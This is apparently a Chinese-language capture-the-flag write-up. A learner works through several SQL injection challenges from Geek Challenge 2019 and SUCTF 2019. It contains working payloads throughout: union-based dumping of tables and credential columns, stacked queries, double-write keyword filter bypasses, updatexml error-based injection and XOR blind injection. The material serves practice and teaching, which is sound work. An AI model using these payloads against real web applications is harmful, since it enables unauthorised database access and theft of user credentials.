ps:刷一些ctf对新学习的sql注入进行巩固,参考了很多大佬的wp~
[极客大挑战 2019]EasySQL
尝试弱口令:admin
回显用户和密码错误
尝试注入1、0、1‘、0’
注入1'有回显,说明'符号闭合
可以开始进行sql注入
联合注入:1' union select 1#
回显提示:使用的select语句的列数不同
继续尝试直到:1' union select 1,2,3#
直接得到flag
[SUCTF 2019]EasySQL
输入1有回显,输入1'没有回显,
再判断是否是数字型注入:1 or 1=1
有回显:nonono
那么‘or‘是被过滤了
尝试输入很多关键字,会直接回显nonono,也可由此判断这些关键字都被过滤了
由于很多关键字都被过滤了,可以尝试使用堆叠注入
堆叠注入:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句
堆叠注入触发条件:
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
语法:
1;show databases; //查看所有数据库
1;show tables; //查看所有数据表
注入:1;show databases;
注入:1;show tables;
发现了flag表
注入:1;show columns from flag;
回显失败,from被过滤
具体解法详见:
[SUCTF 2019]EasySQL1 题目分析与详解_[suctf 2019]easysql 1-CSDN博客
使用 sql_mode 中的 PIPES_AS_CONCAT 函数
注入:1;sql_mode=PIPES_AS_CONCAT;select 1
[极客大挑战 2019]LoveSQL
注入1、1’
1’有数据库报错,可能存在sql注入
使用联合注入:1' union select 1#
回显说明,使用的SELECT语句具有不同数量的列。
继续联合注入直到:1' union select 1,2,3#
说明该SQL语句中一共有3列显位,且第1列显位没有回显
接着1' union select 1,version(),database()#
爆出数据库版本号、数据库名为’geek’
注入:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出这个库的数据表
得到geekuser,l0ve1ysq1这两个表名
访问第一个表看看列名有什么
注入:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
看到有id、username、password三个列
再对当前数据库的l0ve1ysq1表中的username和password这两列进行查询
1' union select 1,2,group_concat(username,password) from geekuser #
得到flag
[极客大挑战 2019]BabySQL
尝试弱口令admin、'
都提示密码错误
输入1',有提示说明后台对 ' 符号闭合
输入用户名admin,对密码输入处注入:1' order by 1#
order只显示了der,说明or被过滤了,吞了by 双写注入:' || 1=1 oorrder bbyy 1#
直接得到了flag
另一种注入方式:1' union select 1#
大概把union、select过滤了
双写绕过:1' ununionion seselectlect 1#
回显说明可以继续注入:
1' ununionion seselectlect 1,2#
1' ununionion seselectlect 1,2,3#
可以开始爆出数据库的信息了
1' ununionion seselectlect 1,2,database()#
看表名:1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
(这里对很多关键字ununionion ,seselectlect,frfromom,infoorrmation,passwoorrd,whwhereere这些都做了双写绕过,以防万一)
查询第一个表:1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
看看最后两列有什么信息:
1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#
[极客大挑战 2019]HardSQL
本题和上一题差不多对 1' 闭合
联合注入:1' union select 1#
可能存在过滤
试了一下双写、大小写绕过还是不行
一个字符一个字符测试,发现如 and/空格/union/select/=//**/等都被过滤了。
空格用()绕过,=用like绕过
试一下报错注入: 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
爆表:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
列名:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查看字段:1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
[极客大挑战 2019]FinalSQL
依次点了神秘代码
点第5个,提示看第6个,实际上只有5个代码
但是url参数那里显示id=5
试着在url那里修改id=6
尝试了在输入框注入很多次都无果,那么很有可能注入点在id这个地方(事后诸葛亮哈哈哈)
url修改参数:id=6'
果然有回显
显然是盲注:id=6' or 1=1#
来试一下,发现过滤了空格,=,or,and,union,select这些都过滤得差不多了
基本的一些关键字被过滤,又是盲注,可以考虑异或注入了
异或注入:是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union select and or orderby等一些关键字。还能绕过空格过滤。
1.符号:xor、^
2.运算类型:
2.1 数字型(相同为0,相异为1)
1^1=0 0^0=0 1^0=1
2.2 字符型
字符中如果没有数字或者数字在字母后面在比较时都会转为数字0
'adc'=0 'adc12'=0
数字在字母前面时会是在字母前面的一堆数字
'1abc'=1 '12abc'=12
2.3 数字与字符型:
将字符转为数字进行异或
'abc1'^1=0^1=1 'abc'^1=0^1=1 '1adc'^1=1^1=0
---------------------------------------------------------------------------------------------------------------------------------
id=0是error,id=1是Click others
那么就要构造异或语句的结果是1,即证明判断的注入语句为真
首先先判断数据库长度id=0^(length(database())=1)--------1
因为过滤了=,修改为id=0^(length(database())>0)
依次测试数据库长度
直到id=0^(length(database())>3)结果为1
id=0^(length(database())>4)结果为0,那么数据库的长度为4
像普通的盲注,可以用函数一个一个验证数据库名
但是比较麻烦,用脚本会快一些,于是参考了csdn大佬的文章:[极客大挑战 2019]FinalSQL-CSDN博客